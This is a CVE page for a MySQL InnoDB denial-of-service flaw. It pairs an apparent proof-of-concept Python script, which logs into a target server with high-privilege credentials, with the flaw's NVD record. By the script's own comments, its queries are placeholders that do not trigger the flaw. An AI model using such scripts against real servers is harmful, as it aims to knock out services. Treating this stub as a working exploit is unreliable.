CVE-2026-21936

// CVE-2026-21936 PoC - MySQL InnoDB DoS // Note: This is a conceptual PoC. Actual exploit requires specific trigger conditions. // Environment: MySQL Server 8.0.0-8.0.44, 8.4.0-8.4.7, 9.0.0-9.5.0 import mysql.connector from mysql.connector import Error def exploit_cve_2026_21936(host, port, username, password): """ PoC for CVE-2026-21936 - MySQL InnoDB DoS Requires high privileged MySQL user account """ try: conn = mysql.connector.connect( host=host, port=port, user=username, password=password ) cursor = conn.cursor() # Trigger InnoDB specific operation that can cause DoS # The exact payload depends on specific InnoDB trigger condition # This is a placeholder for the actual exploit payload exploit_queries = [ # Placeholder - actual PoC requires specific trigger "DO 1", "SET SESSION debug = 'd,ib_trx_lock_waits'", # Add specific InnoDB trigger query here ] for query in exploit_queries: try: cursor.execute(query) conn.commit() except Error as e: print(f"Query executed with error: {e}") cursor.close() conn.close() except Error as e: print(f"Connection error: {e}") # Usage: python cve_2026_21936_poc.py if __name__ == "__main__": TARGET_HOST = "target_mysql_server" TARGET_PORT = 3306 USERNAME = "high_privilege_user" PASSWORD = "password" exploit_cve_2026_21936(TARGET_HOST, TARGET_PORT, USERNAME, PASSWORD)

{"cve": {"id": "CVE-2026-21936", "sourceIdentifier": "[email protected]", "published": "2026-01-20T22:15:56.277", "lastModified": "2026-01-29T15:44:06.733", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in the MySQL Server product of Oracle MySQL (component: InnoDB). Supported versions that are affected are 8.0.0-8.0.44, 8.4.0-8.4.7 and 9.0.0-9.5.0. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H)."}, {"lang": "es", "value": "Vulnerabilidad en el producto MySQL Server de Oracle MySQL (componente: InnoDB). Versiones compatibles que están afectadas son 8.0.0-8.0.44, 8.4.0-8.4.7 y 9.0.0-9.5.0. Vulnerabilidad fácilmente explotable permite a un atacante con altos privilegios con acceso a la red a través de múltiples protocolos comprometer MySQL Server. Ataques exitosos de esta vulnerabilidad pueden resultar en la capacidad no autorizada de causar un cuelgue o un fallo repetible con frecuencia (DoS completo) de MySQL Server. Puntuación Base CVSS 3.1 4.9 (Impactos en la disponibilidad). Vector CVSS: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oracle:mysql_cluster:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.6.0", "versionEndIncluding": "7.6.36", "matchCriteriaId": "8B3194AE-3177-4CC0-9FC0-292562A6E971"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:mysql_cluster:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndIncluding": "8.0.44", "matchCriteriaId": "25C90188-0FF3-4398-BC31-23CC9C49F5EB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:mysql_cluster:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.4.0", "versionEndIncluding": "8.4.7", "matchCriteriaId": "BC70A6D6-9D76-408C-A56F-8DF26F751465"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:mysql_cluster:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.0", "versionEndIncluding": "9.5.0", "matchCriteriaId": "242ED878-0BEA-4613-8721-1DA44C2BFE3E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:mysql_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndIncluding": "8.0.44", "matchCriteriaId": "C31CF81B-A295-4D90-84D3-377D7184D59D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:mysql_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.4.0", "versionEndIncluding": "8.4.7", "matchCriteriaId": "19AAA920-1429-4F6F-A191-31632570991C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:mysql_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.0", "versionEndIncluding": "9.5.0", "matchCriteriaId": "80A941A0-B16F-477B-9062-EF768F4CAAD4"}]}]}], "references": [{"url": "https://www.oracle.com/security-alerts/cpujan2026.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}